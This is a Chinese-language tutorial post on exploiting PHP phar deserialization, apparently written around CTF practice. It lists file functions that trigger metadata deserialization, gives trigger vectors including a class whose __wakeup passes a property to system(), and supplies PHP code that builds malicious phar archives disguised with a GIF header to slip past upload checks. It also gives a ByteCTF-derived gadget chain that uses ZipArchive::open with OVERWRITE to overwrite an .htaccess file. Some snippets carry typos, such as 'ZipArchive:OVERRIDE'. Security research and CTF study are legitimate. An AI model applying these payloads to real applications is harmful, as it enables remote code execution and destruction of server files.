php phar反序列化任意执行代码

丶灬走出姿态 提交于 2019-11-30 01:46:50

2018年
原理
一。关于流包装stream wrapper
大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://
例如常见的有
include('php://filter/read=convert.base64-encode/resource=index.php')
include('data://text/plain;base64,xxxxx')
phar://也是流包装的一种

二。phar原理

phar是一种压缩文件,其中每个被压缩文件的权限、属性信息都放在这部分。并且这部分
以序列化的形式存储用于自定义的meta-data。

对于phar文件的stub,可以理解为一个标志,他的格式是固定的
……<?php   ……;   __HALT_COMPILER();?>
也就是必须要__HALT_COMPILER();结尾才可以,否则无法识别

如果要生成phar文件就必须要将php.ini中的phar.readonly设置为off

在一些文件函数通过phar://伪协议解析phar文件时都会将meta-data反序列化。
受影响的函数有
fileatime    filectime    filemtime    file_exists    file_get_contents    file_put_contents
file    filegroup    fopen    fileinode    fileowner    fileperms
is_dir    is_file    is_link    is_executable    is_readable    is_writeable
is_wirtble    parse_ini_file    copy    unlink    stat    readfile
finfo_file    

三。激发条件拓展
①php://filter/read=convert.base64-encode/resource=./1.phar
②compress.bzip2://phar:///tmp/test.phar
③压缩包
$zip=new ZipArchive();
$res=$zip->open('test.zip');
$zip->extractTo('phar//test.phar');
④数据库
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
⑤LOAD DATA LOCAL INFILE
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

四。利用方式扩展(文章最后进行详细介绍)
①SoapClient,php自带类,能够进行SSRF
②ZipArchive,php自带类(可能需要下载扩展),
ZipArchive::open(filename,ZIPARCHIVE::OVERWRITE)    //可以对文件覆盖

Demo
一。简单的小实验
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //test为内容test.txt为要压缩的文件(可以不存在)
    //签名自动计算
    $phar->stopBuffering();
?>
运行后会生成一个phar.phar文件在当前目录下,用winhex查看内容

发现meta-data以序列化形式存储,在文件操作函数会自动进行反序列化

那么假如在这样一个php代码文件中include使用
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   
    }
}
include('phar://phar.phar');
?>
结果
hu3sky
可见在之前压缩的phar文件代码
$o = new TestObject();
$o -> data='hu3sky';
被顺利的执行

总结:要实现phar反序列化攻击有几个条件
①有一个类有__destruct魔术方法作为跳板
②有file_exsits()等函数,且函数内容可控
③没有过滤phar://内容


二。拓展:将phar文件伪造成其他格式文件
由原理可知php是通过识别phar文件的文件头stub来判断,确切来说是对于
__HALT_COMPILER(); ,而对于前面内容和后缀名没有要求,那么只要在前面
加上任意文件头+修改后缀名就可以将phar文件伪装成其他格式文件。
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
    $phar->startBuffering();
    $phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>
这样php就会将其识别为gif文件,就可以绕过一些上传检测。

--------------------------------------------------------------------------------------
ZipArchive实现文件覆盖
假如一个类的一个方法:
class Profile{
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}
再看ZipArchive的open方法
ZipArchive::open(filename,OVERWRIDE)  //对文件进行覆写
利用(这里的File类是bytectf里一个题目定义的类,拿来做跳板,本身并没有进行操作):
class File{
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
function __call($name, $arguments){
        $this->admin->open($this->username, $this->password);
}
}
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();  //因为这个类在Profile不存在所以触发__call方法
$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess"
$o->checker->password=ZipArchive:OVERRIDE    //注意这里是调用方法
//这里实际上换到Profile类就是:Profile->ZipArchive->open("path","ZipArchive::OVERWRITE") $phar = new Phar("phar.phar"); //后缀名必须为phar,压缩后的文件名
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); //前面插入gif文件头进行伪装
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
//生成phar文件
注意:关于上面的__call触发条件,经过个人实验发现:
如果直接进行输入的话并不能触发,以上面为例,例如(不会触发)
$o=new Profile();
$o->admin=new ZipArchive();
$o->username='test.txt';
$o->password=ZipArchive::OVERWRITE;
如果先从一个类的一个变量再跳到另一个类,跳到的类__call方法就会触发,例如(能触发)
$o=new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
$o->checker->username='test.txt';
$o->checker->password=ZipArchive::OVERWRITE;
而关于__destruct魔术方法是可以直接触发的

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!